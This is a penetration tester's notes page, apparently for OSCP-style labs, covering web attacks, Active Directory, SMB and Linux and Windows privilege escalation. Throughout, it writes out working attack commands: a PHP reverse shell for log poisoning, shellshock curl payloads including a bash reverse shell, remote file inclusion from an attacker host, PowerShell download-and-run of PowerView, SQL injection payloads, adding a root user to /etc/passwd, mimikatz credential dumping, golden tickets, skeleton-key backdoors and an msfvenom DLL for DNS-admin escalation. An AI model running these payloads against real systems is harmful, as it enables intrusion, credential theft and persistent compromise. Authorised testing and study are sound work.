Home

All Notes

These are all the notes in one place unorganized

Get Proof Details From Original Location & Screenshot

Linux
hostname && whoami && cat proof.txt && ip a

Windows (Cmd)
hostname && whoami && type user.txt && ipconfig /all
hostname && whoami && type root.txt && ipconfig /all
hostname && whoami && type proof.txt && ipconfig /all
hostname && type proof.txt && ipconfig /all

Windows (Powershell)
hostname; whoami; type local.txt; ipconfig /all
hostname; whoami; type proof.txt; ipconfig /all
hostname; whoami; type user.txt; ipconfig /all
hostname; whoami; type root.txt; ipconfig /all

HackTricks

hacking trick/technique/whatever learnt in CTFs, real life apps, and reading researches and news. Here you will find the typical flow that you should follow when pentesting one or more machines.

https://book.hacktricks.xyz/welcome/readme

Liodeus OSCP CheatSheet https://liodeus.github.io/2020/09/18/OSCP-personal-cheatsheet.html

OWASP Cheat Sheets

a concise collection of high value information on specific application security topics. These cheat sheets were created by various application security professionals who have expertise in specific topics.

OWASP Testing GuideV4

OWASP Cheat Sheet Series

Pwning OWASP Juice Shop

OWASP Top 10 2021

Scanning

Scan Multiple Hosts File Required

Scan Single Target

Proxychains autorecon

Enumeration

OSCP Learning Path

https://help.offensive-security.com/hc/en-us/articles/360050473812-PEN-200-Labs-Learning-Path

All Rounded Enumeration

https://www.xmind.net/m/QsNUEz/

Active Directory Enumeration

https://www.xmind.net/m/5dypm8/

HTTP

htaccess

Password Attack with medusa

View the website View source code

  • comments

  • <a href tags

  • directories such as /assets/

  • download with curl

developer tools

manually review a web application for security issues using only the in-built tools in your browser.

  • Element inspector -- assists us with this by providing a live representation of what is currently on the website. ability to modify div parameters etc.

  • debugger -- digging deep into the JavaScript code. search for js files. use pretty print option to better view js. use breakpoints by clicking on code number line to stop execution. refresh page to view.

  • network -- used to keep track of every external request a webpage makes.

content discovery

ways of discovering hidden or private content on a webserver that could lead to new vulnerabilities.

  • favicon -- can give us a clue on what framework is in use. run curl http://target/path/to/favicon.ico | md5sum take the md5sum and pass it to https://wiki.owasp.org/index.php/OWASP_favicon_database to find the framework

  • sitemap.xml -- can sometimes contain areas of the website that are a bit more difficult to navigate to or even list some old webpages that the current site no longer uses but are still working behind the scenes.

  • Http headers -- run curl http://target/ -v contain useful information such as the webserver software and possibly the programming/scripting language in use

  • Framework Stack -- Once you've established the framework of a website, either from the above favicon example or by looking for clues in the page source such as comments, copyright notices or credits, you can then locate the framework's website. From there, we can learn more about the software and other information, possibly leading to more content we can discover.

  • wappalyzer -- https://www.wappalyzer.com/ helps identify what technologies a website uses, such as frameworks, Content Management Systems (CMS), payment processors and much more, and it can even find version number.

  • wayback machine -- https://archive.org/web/ a historical archive of websites that dates back to the late 90s. You can search a domain name, and it will show you all the times the service scraped the web page and saved the contents. This service can help uncover old pages that may still be active on the current

  • Github -- You can use GitHub's search feature to look for company names or website names to try and locate repositories belonging to your target. Once discovered, you may have access to source code, passwords or other content that you hadn't yet found

  • s3 buckets -- a storage service provided by Amazon AWS, allowing people to save files and even static website content in the cloud accessible over HTTP and HTTPS. The owner of the files can set access permissions to either make files public, private and even writable. Sometimes these access permissions are incorrectly set and inadvertently allow access to files that shouldn't be available to the public. the format of the S3 buckets is http(s)://{name}.s3.amazonaws.com where {name} is decided by the owner, such as tryhackme-assets.s3.amazonaws.com. S3 buckets can be discovered in many ways, such as finding the URLs in the website's page source, GitHub repositories, or even automating the process. One common automation method is by using the company name followed by common terms such as {name}-assets, {name}-www, {name}-public, {name}-private, etc.

subdomain enumeration

  • ssl/tls certificates -- to discover subdomains belonging to a domain, sites like https://crt.sh and https://transparencyreport.google.com/https/certificates offer a searchable database of certificates that shows current and historical results.

  • search engines -- search term -site:www.tryhackme.com site:*.tryhackme.com, which should reveal a subdomain

  • dns bruteforce

  • Sublist3r run ./sublist3r.py -d example.com

  • Virtual Hosts -- ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.example.com" -u http://MACHINE_IP add -fs size to filter for non-valid subdomains

Authentication Bypass

  • user enumeration -- ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://target/ -mr "username already exists"

  • brute force -- ffuf -w users.txt:W1,/usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.199.37/customers/login -fc 200

  • logic flaws -- flaw in the logic code

  • cookie tampering -- Examining and editing the cookies set by the web server during your online session can have multiple outcomes, such as unauthenticated access, access to another user's account, or elevated privileges

  • Insecure Direct Object Reference (IDOR) -- when a server does not check for the user thats currently logged in against the requested url. urls can contian ids etc. if you are able replace the data to something else and can see the data this confirms the vulnerability. Unpredictable Ids If the Id cannot be detected using the above methods, an excellent method of IDOR detection is to create two accounts and swap the Id numbers between them. If you can view the other users' content using their Id number. The vulnerable endpoint you're targeting may not always be something you see in the address bar. It could be content your browser loads in via an AJAX request or something that you find referenced in a JavaScript file.

Contaminating Log Files

nc $ip port

File inclusion

Local File inclusion

  • ../../etc/passwd

  • ../../etc/passwd%00

  • ../../etc/passwd0x00

  • ....//....//....//....//....//etc/passwd

  • /etc/passwd/.

  • /./././././././././././etc/passwd

  • if you are able to view the ssh log /var/log/auth.log try "poisoning" the log by ssh as ssh '<?php system($_GET['cmd']); ?>'@targetip this entry may or may not the user in the logs but still proceed with php -r '$sock=fsockopen("yourIP",port);exec("/bin/sh -i <&3 >&3 2>&3");' <--- Url encode this with burp

  • if ftp allows uploading of files you can call the script to gain a php reverse shell

Remote File inclusion -- One requirement for RFI is that the allow_url_fopen option needs to be on http://webapp.thm/index.php?lang=http://attacker.thm/cmd.php

Server-Side Request Forgery (SSRF)

  • https://website.thm/item/2?server=server.website.thm/flag?id=9&x= is equal to https://server.website.thm/flag?id=9&x=.website.thm/api/item?id=2

  • Finding an SSRF

    When a full URL is used in a parameter in the address bar:

    A hidden field in a form:

    A partial URL such as just the hostname:

    Or perhaps only the path of the URL:

    If working with a blind SSRF where no output is reflected back to you, you'll need to use an external HTTP logging tool to monitor requests such as requestbin.com, your own HTTP server or Burp Suite's Collaborator client.

Cross Site Scripting

Based on JavaScript. an injection attack where malicious JavaScript gets injected into a web application with the intention of being executed by other users.

Demonstrate that you can achieve XSS on a website

Session stealing

Content Injection

Key logger

Business logic

For example, imagine a JavaScript function for changing the user's email address called user.changeEmail(). Your payload could look like this:

Reflected XSS

Happens when user-supplied data in an HTTP request is included in the webpage source without any validation.

Test every possible point of entry; these include:

Parameters in the URL Query String URL File Path Sometimes HTTP Headers (although unlikely exploitable in practice)

A website where if you enter incorrect input, an error message is displayed. The content of the error message gets taken from the error parameter in the query string and is built directly into the page source.

The application doesn't check the contents of the error parameter, which allows the attacker to insert malicious code.

The attacker could send links or embed them into an iframe on another website containing a JavaScript payload to potential victims getting them to execute code on their browser, potentially revealing session or customer information.

Stored XSS

As the name infers, the XSS payload is stored on the web application (in a database, for example) and then gets run when other users visit the site or web page.

The malicious JavaScript could redirect users to another site, steal the user's session cookie, or perform other website actions while acting as the visiting user.

Test every possible point of entry where it seems data is stored and then shown back in areas that other users have access to; a small example of these could be:

Comments on a blog User profile information Website Listings

Dom Based XSS

DOM Based XSS is where the JavaScript execution happens directly in the browser without any new pages being loaded or data submitted to backend code. Execution occurs when the website JavaScript code acts on input or user interaction.

How to test for Dom Based XSS:

DOM Based XSS can be challenging to test for and requires a certain amount of knowledge of JavaScript to read the source code. You'd need to look for parts of the code that access certain variables that an attacker can have control over, such as "window.location.x" parameters.

When you've found those bits of code, you'd then need to see how they are handled and whether the values are ever written to the web page's DOM or passed to unsafe JavaScript methods such as eval().

Blind XSS

You can't see the payload working or be able to test it against yourself first.

When testing for Blind XSS vulnerabilities, you need to ensure your payload has a call back (usually an HTTP request). This way, you know if and when your code is being executed. A popular tool for Blind XSS attacks is xsshunter. Although it's possible to make your own tool in JavaScript, this tool will automatically capture cookies, URLs, page contents and more.

Command Injection

Command injection is the abuse of an application's behaviour to execute commands on the operating system, using the same privileges that the application on a device is running with.

The curl command is a great way to test for command injection. This is because you are able to use curl to deliver data to and from an application in your payload. Take this code snippet below as an example, a simple curl payload to an application is possible for command injection.

Applications that use user input to populate system commands with data can often be combined in unintended behaviour. For example, the shell operators ;, & and &&

Command Injection can be detected in mostly one of two ways:

Blind command injection

Another method of detecting blind command injection is by forcing some output. This can be done by using redirection operators such as >. If you are unfamiliar with this, I recommend checking out the Linux fundamentals module. For example, we can tell the web application to execute commands such as whoami and redirect that to a file. We can then use a command such as cat to read this newly created file’s contents.

Verbose command injection

SQL Injection (May need Burp)

The point wherein a web application using SQL can turn into SQL Injection is when user-provided data gets included in the SQL query.

MSSQL Practical Injection Cheat Sheet

Blind based MSSQL injection through web app. will delay web page for 5 seconds if user is sa

run responder and attemp to capture hash.

Enumerating MSSQL

Get all available databases

Get everything in relation to tables from a database of interest

Get everything in relation to columns from a database of interest

Change to another database

Extract Data

MySQL SQL Injection Practical Cheat Sheet

Union Based Oracle Injection

  • https://website.thm/blog?id=1 == SELECT * from blog where id=1 and private=0 LIMIT 1; and can be injected with https://website.thm/blog?id=2;-- which will then look like SELECT * from blog where id=2;-- and private=0 LIMIT 1; The semicolon in the URL signifies the end of the SQL statement, and the two dashes cause everything afterwards to be treated as a comment. By doing this, you're just, in fact, running the query: SELECT * from blog where id=2;--

  1. ' " -- find injection points

  2. 0 UNION SELECT 1,2,database() -- this will depend on how many columns are available. two in 3 in this case.

  3. 0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'database' -- will display tables from database

  4. 0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'table' -- will display columns from table

  5. 0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM table -- will display user and pass from table

  6. ' OR 1=1;-- 1=1 is a true statement and we've used an OR operator, this will always cause the query to return as true, which satisfies the web applications logic that the database found a valid username/password combination and that access should be allowed.

  • the LIKE operator, we just have the value of %, which will match anything as it's the wildcard value. If we change the wildcard operator to a%, you'll see the response goes back to false, which confirms that the database name does not begin with the letter a. We can cycle through all the letters, numbers and characters such as - and _ until we discover a match. If you send the below as the username value, you'll receive a true response that confirms the database name begins with the letter s. admin123' UNION SELECT 1,2,3 where database() like 's%';--

    Now you move onto the next character of the database name until you find another true response, for example, 'sa%', 'sb%', 'sc%' etc. Keep on with this process until you discover all the characters of the database name, which is sqli_three.

  • admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';-- now finding the username table

  • admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_four' and TABLE_NAME='analytics_referre_s' and COLUMN_NAME like 'a%'; -- now enumerating users finding columns

  • admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id'; -- continue to find more columns

  • admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a% -- find password

  • Time based sql example, when trying to establish the number of columns in a table, you would use the following query:

    • admin123' UNION SELECT SLEEP(5);-- If there was no pause in the response time, we know that the query was unsuccessful, so like on previous tasks, we add another column:

    • admin123' UNION SELECT SLEEP(5),2;-- This payload should have produced a 5-second time delay, which confirms the successful execution of the UNION statement and that there are two columns.

  • run nikto -h url`

  • davtest -auth user:pass -url http://127.0.0.1/ if webdav enabled may give us reverseshell with or without credentials

  • uploading files to gain reverseshell. which extensions are allowed?

    • .php

    • .php3

    • .php4

    • .php5

    • .phtml

  • PHP "strcmp" vulnerability user="x"pass[]="x" for authentication bypass. square brackets

  • search application names, version numbers, to find associated known vulnerabilities with google

  • search for every php parameter for a potential directory traversal ../../etc/passwd you may or may not need to increase the amount of directories needed(../)

  • docker run -it milo2012/pathbrute -u http://10.129.95.233/ -s default -i -n 20

  • run "gobuster" to find common directories and pages

    • common.txt

    • big.txt

  • look for generated error/messages; this may lead to finding the application name

  • download the version software if possible or the closest version

  • can you edit the server PHP code to include a reverse shell

  • look for any names that can be used as usernames and or passwords

  • Bruteforce possible hidden website parameters

    • wfuzz -u website/file.php?FUZZ=/etc/passwd -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt --hw 0

  • if there is a robots.txt file or disallow list that can only be read with an "Engine User Agent" use wfuzz with -H "User-Agent: FUZZ" and the seclists useragent.fuzz.txt wordlists

  • if the target has multiple webservers there is a possiblity that when uploading files they will upload that file to another webserver on a different port

  • password attack and login pages with any potential usernames or default credentials

  • NagiosXI 5.6.6 and below

    • vulnerable to RCE; metasploit module nagios_xi_plugins_check_plugin_authenticated_rce

  • Drupal 7

    • vulnerable to property injection in the Forms api; metasploit module drupal_drupalgeddon2

  • Koken 0.22.24

    • vulnerable to Arbitrary File Upload (Authenticated); 48706

  • shellshock vulnerability cgi

    • curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://192.168.130.87/cgi-bin/vulnerable

    • curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/10.10.16.7/80 0>&1'" http://$ip/cgi-bin/vulnerable.sh

  • Manage Engine ServiceDesk Plus 7.6.0

    • vulnerable to ManageEngine (Multiple Products) - (Authenticated) Arbitrary File Upload (Metasploit) metasploit module manageengine_auth_upload

      • To mannually exploit use python script 35845

Kerberos

MS14-068

RPC Bind

Showmount

Can you mount the Network file share?

Retrive current logged in user privileges

Blindy check if you can change password

RPC

rpcdump.py 127.0.0.1 -p 135

Print Nightmare

https://github.com/calebstewart/CVE-2021-1675

https://github.com/cube0x0/CVE-2021-1675

Check For PrintNightmare

If the output is the following contains the following, it is vulnerable.

LDAP

Active Directory

Add domain name to “/etc/hosts” file

Any time you get creds re-run all of the remote AD tools against it with the creds (GetNPUsers, GetUserSPNs, secretsdump, etc).

Once you have access to the next box do it all over again. You may get lucky and get domain admin creds from the first box, or you may have to privesc again and re-roll through the process. This is where Bloodhound comes in handy, it’ll show you what permissions the accounts have that you found creds for. Some creds may work on multiple boxes, use crackmapexec to verify the creds with EVERY IP in the domain, don’t stop at the first box that works. Don’t forget to check the permissions/groups your current user is in. You may not find creds to another user, but your current one may have special permissions that allow you to modify access to resources, run certain processes as SYSTEM, or create new users or add them to certain groups.

Permissions For easy Win

members of Server-Operator can for example stop start services(sc.exe) and modify binPath="C:\Path\to\evil.exe"

Active Directory Methology

Attacking Active Directory

Active Directory Exploitation Cheat sheet

Notes About Red Teaming

This will potentially retrieve local admin using windows password Local Administrator Password Solution (LAPS)

Enumerate AD users. sometimes guest is enabled!

Enumerate domain admins. requires credentials

More enumeration on domain admins. requires crednetials

run windows command; if setting up revershell, use powershell and escape $ characters with \

This will dump domain credentials and or kerberos tickets. can be used with rdp session

With Valid Creds use to enumerate AD as user rerun after gaining more privileges

Start Bloodhound

or

Runs In Current Working Directory neo4j:neo4j

Bypassing AMSI

Server-Operator

Account Operators

Write DACL

SeRestorePrivilege (by itself)

SeBackupPrivilege SeRestorePrivilege

NTDS.dit and System.hive

GetChangesAll (DCSync)

ReadGMSApassword remotely

*ReadGMSApassword Without PowerView

ReadGMSApassword EXE

ForceChangePassword

GenericAll

GenericWrite

use this for reverseshell using scriptpath=, enumeration, or use serviceprincipalname= for kerberoast

WriteOwner

WriteOwner (For User)

Or

*Uncover Secure String Passwords

If credentials are in an xml

Using only the password string

Samba/SMB

When testing with smb try with null sessions, anonymous, and valid credentials

  • run enum4linux to possibly find users, shares, files

  • use "smbclient" to manually view the shares/files:

    • look for "GPP" Groups.xml -- may contain a "cpassword" and username

      • use gpp-decrypt cpassword to decrypt

    • look for lsass.zip or lsass.DMP -- may contain encrypted password, Kerberos tickets, NT hash, LM hash, DPAPI keys,and Smartcard PIN

      • use pypykatz lsa minidump lsass.DMP

  • can you read or upload files?

  • Can you upload a file with a shell? Is there a service/cronjob that can execute your uploaded file?

  • smbget -R "smb://user:pass@IP/Share" -- recusivley get files replace user and pass with a space for null sessions

  • smbclient //IP/share

  • smbclient -N //IP/share -c ls | awk '{ print $1 }' -- this will get the names of the directories of the first column for potential users

  • ms09_050_smb2_negotiate_func_index Exploit (Windows Only)

try all three if needed smbexec,psexec,wmiexec (if you cannot upload ry tools anyway, you may get a shell)

  • psexec.py example.com/username@ip -- may or may not need credentials

  • psexec.py ./administrator@IP -hashes :NTHASH

  • smbexec.py user:password@IP

  • wmiexec

  • smbmap -u user -p pass -H IP -- smbmap work better than smbclient

  • smbmap -u SABatchJobs -p SABatchJobs -H megabank.local -A '.*' -R download everything

  • use allinfo file if download is 0 bytes it may be 'Alternate Data Streams (ADS)'

  • cme smb 10.10.10.161 -u '' -p '' -- checks for null sessions and this is different from anonymous loging

  • cme smb 10.10.10.161 -u 'anonymous' -p ''

  • cme smb 10.10.10.161 --pass-pol

  • cme smb 10.10.10.161 --users

  • cme smb 10.10.10.161 --groups

  • cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sessions

  • cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --shares

  • cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --loggedon-users

  • cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --users

  • cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --rid-brute

  • cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' s --local-group

  • cme smb 192.168.1.0/24 --gen-relay-list relaylistOutputFilename.txt

MySQL

use hydra with rockyou.txt and with root as the user for a less complicated password attack

Linux Privilege Escalation

Exploit network file sharing

configuration is kept in the /etc/exports file. privilege escalation vector is the “no_root_squash”. If the “no_root_squash” option is present on a writable share, we can create an executable with SUID bit set and run it on the target system.

  • cat /etc/exports - list shares on victim machine

  • mkdir /tmp/victimnfs - create tmp directory on attacker machine

  • mount -o rw victimIP:/home/backup /tmp/victimnfs - mount the victim network file share that has 'no_root_squash'

  • create shell with suid bits

  • gcc rootz.c -o rootz -w

  • chmod +s rootz

  • going back to victim machine execute the suid bit shell to gain root

Exploit Path Variable Manipulation

  • check /opt/ /var/opt

  • TCP-LISTEN:internet-facing-port,fork TCP:internal-ip:port & -- port redirection

  • look for users in /etc/passwd

    • use usernames as passwords for bruteforcing ssh

  • if /etc/passwd is writeable add user with password > echo 'thescriptkid:$6$CuxbQ7PO4S7csJM9$TIx0cYXhT./kZfOHgXd44OHecKCqClA2QH.r9lo4Q..nZ73OWLRFSdu4o2Qfotn4DHpJpSc.b.w0Cjto1qqjz.:0:0:comment:/root:/bin/bash' >> /etc/passwd -- thescriptkid:thescriptkid

Exploit +ep permission software

use getcap -r / 2> /dev/null to find said software

  • /usr/bin/python2.7 = cap_setuid+ep

    • python -c 'import os; os.setuid(0); os.system("/bin/sh")'

  • vim - use py or py3 for python2 or python3

    • ./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

  • view

    • /view -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

Check root and user cronjobs

  • /etc/cron.d/

  • crontab -l

  • cat /etc/crontab

Search for all SUID files find / -perm /4000 2> /dev/null and use https://gtfobins.github.io/

  • nmap

    1. nmap --interactive

    2. !/bin/bash -p

  • hping3 -p

    run bash shell

  • zsh -p

    run bash shell

  • gdb

    • gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

  • base32 - can potentially read any file including root ssh keys

    • LFILE=/file/to/read && base32 "$LFILE" | base32 --decode

  • base64 - can potentially read any file including root ssh keys

    • LFILE=file_to_read

    • base64 "$LFILE" | base64 --decode

  • /bin/bash -p

  • cputlimit

    • cpulimit -l 100 -f cp /bin/bash .

    • cpulimit -l 100 -f chmod +s ./bash

    • ./bash -p

  • php

    • php -r "pcntl_exec('/bin/sh', ['-p']);"

  • vim

    • vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

  • systemctl

Exploit sudo

  • sudo nice /bin/sh

    • if sudoers file is restricting the nice command to nice /directory/* then attempt sudo nice /directory/../bin/sh

  • sudo time /bin/sh

  • sudo mysql system /bin/bash

  • sudo su -

  • sudo systemctl restart apache2

  • sudo nmap

    • TF=$(mktemp)

    • echo 'os.execute("/bin/sh")' > $TF

    • sudo -u root nmap --script=$TF

  • man pages

    • sudo man man

    • !/bin/sh

  • sudo yum

  • sudo nano

    • reset; sh 1>&0 2>&0

  • check for kernel version maybe theres a exploit to run. use google for online exploit -- https://www.linuxkernelcves.com/

  • look for any readable .mysql_history files as they may contain strings that appear to be passwords

  • look for world writeable /etc/apache2/apache2.conf you can potentially replace the User and Group to root or another user NOTE: restart apache2 service required and an uploaded php reverse shell

    • sed -i 's/User ${APACHE_RUN_USER}/User userORroot/g' apache2.conf

    • sed -i 's/Group ${APACHE_RUN_GROUP}/Group userORroot/g' apache2.conf

  • exploit C scripts

    • if a script is using whoami and strncmp to compare a logged in username to a string to give rootshell, take advantage of the PATH variable and create a whoami script to print out the username. PATH=/tmp/whoami:

  • dirty cow exploit https://www.exploit-db.com/exploits/40616 works versions below 4.4.2 - can be compiled in your kali machine

Windows Priv Esc

BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment.

Nodes represent principals and other objects in Active Directory.

BloodHound Nodes

Edges are part of the graph construct, and are represented as links that connect one node to another.

BloodHound Edges

See All shortestPaths and Shortest Paths. Add LIMIT number to limit the output

MATCH p=allShortestPaths((n)-[*1..]->(m)) WHERE m.domain="DOMAIN.LOCAL" AND m<>n RETURN p MATCH p=ShortestPath((n)-[*1..]->(m)) WHERE m.domain="DOMAIN.LOCAL" AND m<>n RETURN p

Tactics represent the "why" of an ATT&CK technique or sub-technique. It is the adversary's tactical goal: the reason for performing an action. For example, an adversary may want to achieve credential access.

https://attack.mitre.org/tactics/enterprise/

Techniques represent 'how' an adversary achieves a tactical goal by performing an action. For example, an adversary may dump credentials to achieve credential access.

https://attack.mitre.org/techniques/enterprise/

An interactive cheat sheet, containing a curated list of offensive security tools and their respective commands, to be used against Windows/AD environments. If you hate constantly looking up the right command to use against a Windows or Active Directory environment (like me), this project should help ease the pain a bit.

https://wadcoms.github.io/

Living Off The Land Techniques. Abusing Dual-Use Tools in windows

https://lolbas-project.github.io/

Windows PrivEsc Resources

https://sirensecurity.io/blog/windows-privilege-escalation-resources/

bypassuac-x64.exe -- or x32

Windows commands to run

  • Can you replace the binary with a reverse shell? i.e. if it’s currently running, rename it, upload a reverse shell with the original binary name, start an nc listener, then type shutdown -r to reboot the box and restart the service.

  • dir -force

  • sc queryex type=service

  • driverquery

  • schtasks /query /fo LIST /v

  • systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

  • qwinsta - Other users logged in simultaneously

  • whoami /all

  • net user

  • net user /domain

  • net user 'user'

  • net user 'user' /domain

  • wmic useraccount

  • net group "Domain Computers" /domain

  • net group "Domain Controllers" /domain

  • net localgroup

  • net group /domain

  • net group 'groupname'

  • net group 'groupname' /domain

  • wmic group

  • wmic ntdomain

  • ipconfig /all

  • netstat -ano

  • icalcs file -- file and folder permissions

  • route print

  • arp -a

  • wmic logicaldisk get caption,description,providername

Enumerate Firewall

  • sc query windefend

  • netsh advfirewall firewall dump

  • netsh firewall show state

  • netsh firewall show config

Password Hunting

findstr /si password *.txt *.ini *.config *.php findstr /si pass *.txt *.ini *.config *.php findstr /si password= *.txt *.ini *.config *.php *.pl *.xml findstr /si password *.txt *.ini *.config *.php *.pl *.xml *.xls *.xlsx *.csv *.doc *.docx findstr /si pass *.txt *.ini *.config *.php *.pl *.xml *.xls *.xlsx *.csv *.doc *.docx

Vulnerable Software

  • wmic qfe get Caption,Description,HotFixID,InstalledOn

  • wmic product get name,version,vendor

  • wmic service list brief | findstr "Running" - for more info on the listed services; use sc qc servicename

Offensive Powershell

https://gitbook.brainyou.stream/powershell/offensive-powershell

https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70

Powershell commands to run

  • Find files Get-ChildItem -Path C:/ -Recurse -Hidden -ErrorAction SilentlyContinue -Include *example.txt*

  • users Get-LocalUser

  • Users with no password required Get-LocalUser | Where-Object -Property PasswordRequired -Match false

  • Groups Get-LocalGroup

  • Hotfixes Get-Hotfix

  • scheduled tasks Get-ScheduledTask

  • get access control lists get-acl directory

  • setspn -T domain -Q */* -- extract all accounts in the SPN. enter domain without tld

  • list running services Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}

  • Get-Service | Where-Object {$_.Status -eq "Running"} -- look for unusual services or exploitable

    • windowscheduler

    • check C:\Program Files (x86)\SystemScheduler\Events log files. for any running events. this is similar to linux cronjobs.

PowerView Commands

Load PowerView.ps1 in memory

Enumerate All but the most interesting group using

Depending on the user or group found in "IdentityReference" from the output get-objectacl -SamAccountName "Interesting Group" -ResolveGUIDs run.

Look for Passwords in User Descriptions

Get SPNs

Request Service Ticket

  • powershell -exec bypass "iex (New-Object Net.WebClient).DownloadString('http://192.168.119.241:8080/powerview.ps1');Get-NetLoggedon -ComputerName DC01"

  • Get-DomainGroup -MemberIdentity SomeUser | select samaccountname

  • Get-NetComputer | select operatingsystem - gets a list of all operating systems on the domain

  • Get-NetUser | select cn - gets a list of all users on the domain

  • Get-ADPrincipalGroupMembership "username" | select name

  • Get-SmbShare -- lists shares

  • Get-NetComputer | select operatingsystem -- show other windows machines OS's

  • get-netloggedon -computername name -- can get from systeminfo

  • get-netsession -computername name -- can get over the network

  • Get-NetDomain

  • Get-NetDomainController

  • Get-DomainPolicy

  • (Get-DomainPolicy)."system access"

  • Get-NetUser | select eg select cn, description

  • Get-userProperty -Properties pwdlastset

Don't attack accounts with low logoncount because they might be honeypot account. As soon as you compromise it, the security team will be alerted of your presence

  • If a group has WriteDacl privileges on the Domain. The WriteDACL privilege gives a user the ability to add ACLs to an object. This means that we can add a user to this group and give them DCSync privileges.

    1. net user thescriptkid thescriptkid /add /domain

    2. net group groupname thescriptkid /add -- you may or not need to add the user to another group

    3. $pass = convertto-securestring 'thescriptkid' -asplain -force

    4. $cred = new-object system.management.automation.pscredential('htb\thescriptkid', $pass)

    5. Add-ObjectACL -PrincipalIdentity thescriptkid -Credential $cred -Rights DCSync

    6. Use secretsdump.py to dump hashes and pass the hash or crack

  • If AppLocker is configured with default AppLocker rules, we can bypass it by placing our executable in the following directory: C:\Windows\System32\spool\drivers\color - This is whitelisted by default.

  • get history commands cat ~/appdata/roaming/microsoft/windows/powershell/psreadline/consolehost_history.txt

  • Invoke-Kerberoast.ps1 - upload from kali and run Invoke-Kerberoast -OutputFormat hashcat | fl

  • Invoke-Mimikatz -command '"base64 /output:true" "kerberos::list /export"' - export tickets to base64

  • kirbi2john file.kirbi hash.txt - convert .kirbi tickets to crackable hash format

  • https://github.com/GhostPack/Rubeus

    • Rubeus.exe harvest /interval:30 -- This command tells Rubeus to harvest for TGTs(tickets) every 30 seconds

    • Rubeus.exe brute /password:Password1 /noticket -- bruteforcing. you must add the domain controller domain name to windows hosts before using rubeus.exe echo 127.0.0.1 example.com >> C:\Windows\System32\drivers\etc\hosts

    • Rubeus.exe kerberoast -- kerberosting. This will dump the Kerberos hash of any kerberoastable users. use hashcat -m 13100 -a 0 hash wordlist for hash type $krb5tgs$23

    • Rubeus.exe asreproast -- AS-Rep roasting. Dumping KRBASREP5 Hashes. Be sure to Insert 23$ after $krb5asrep$ so that the first line will be $krb5asrep$23. use hashcat -m 18200 for hash type $krb5asrep$23$

    • mimikatz.exe -- this will enter a mimikatz interactive cli

      • privilege::debug -- this will show Privilege '20' OK if you have admin privileges. mimikatz will not run properly if you do not have admin rights.

      • sekurlsa::tickets /export -- this will export all of the .kirbi tickets into the directory that you are currently in. this will also show the base 64 encoded tickets.

        • you wanting to impersonate a ticket. look for an administrator ticket from krbtgt. example mimikatz # kerberos::ptt [0;3d27e]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi this will cache and impersonate the ticket

      • lsadump::lsa /inject /name:krbtgt -- Dump the krbtgt Hashes. This will dump the hash as well as the security identifier needed to create a Golden Ticket. To create a silver ticket you need to change the /name: to dump the hash of either a domain admin account or a service account such as the SQLService account.

      • lsadump::lsa /patch -- dump hashes

      • kerberos::golden /user:administrator /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 <--primary ntlm hash /id:500 -- This is the command for creating a golden ticket to create a silver ticket simply put a service NTLM hash into the krbtgt slot, the sid of the service account into sid, and change the id to 1103.

      • misc::cmd -- this will open a new elevated command prompt with the given ticket in mimikatz

      • misc::skeleton -- Installing Kerberos Backdoors.

    • klist to verify the impersonated ticket as this will list cached tickets. having impersonated tickets can give you access to sensitive data or server

    • one liner mimikatz C:\windows\system32\spool\drivers\color\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords /all" "lsadump::sam" "sekurlsa::tickets" "exit"

    • automate Misconfiguration Checks with PowerUp.ps1

      • using meterpreter shell

        1. meterpreter > upload /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1

        2. meterpreter > load powershell

        3. meterpreter > powershell_shell

        4. PS > . .\PowerUp.ps1

        5. PS > Invoke-AllChecks

DNSadmins to system -- user must be apart of the dnsadmins group

  • create dll msfvenom -p windows/x64/exec cmd='net user administrator Password! /domain' -f dll > da.dll

  • create smbshare to evade WindowsDefenderr sudo smbserver.py share ./

  • retrieve and set the remote path to the dll into windows reg cmd /c dnscmd localhost /config /serverlevelplugindll \\IP\share\da.dll smb server must be running

  • restart dns on windows machine

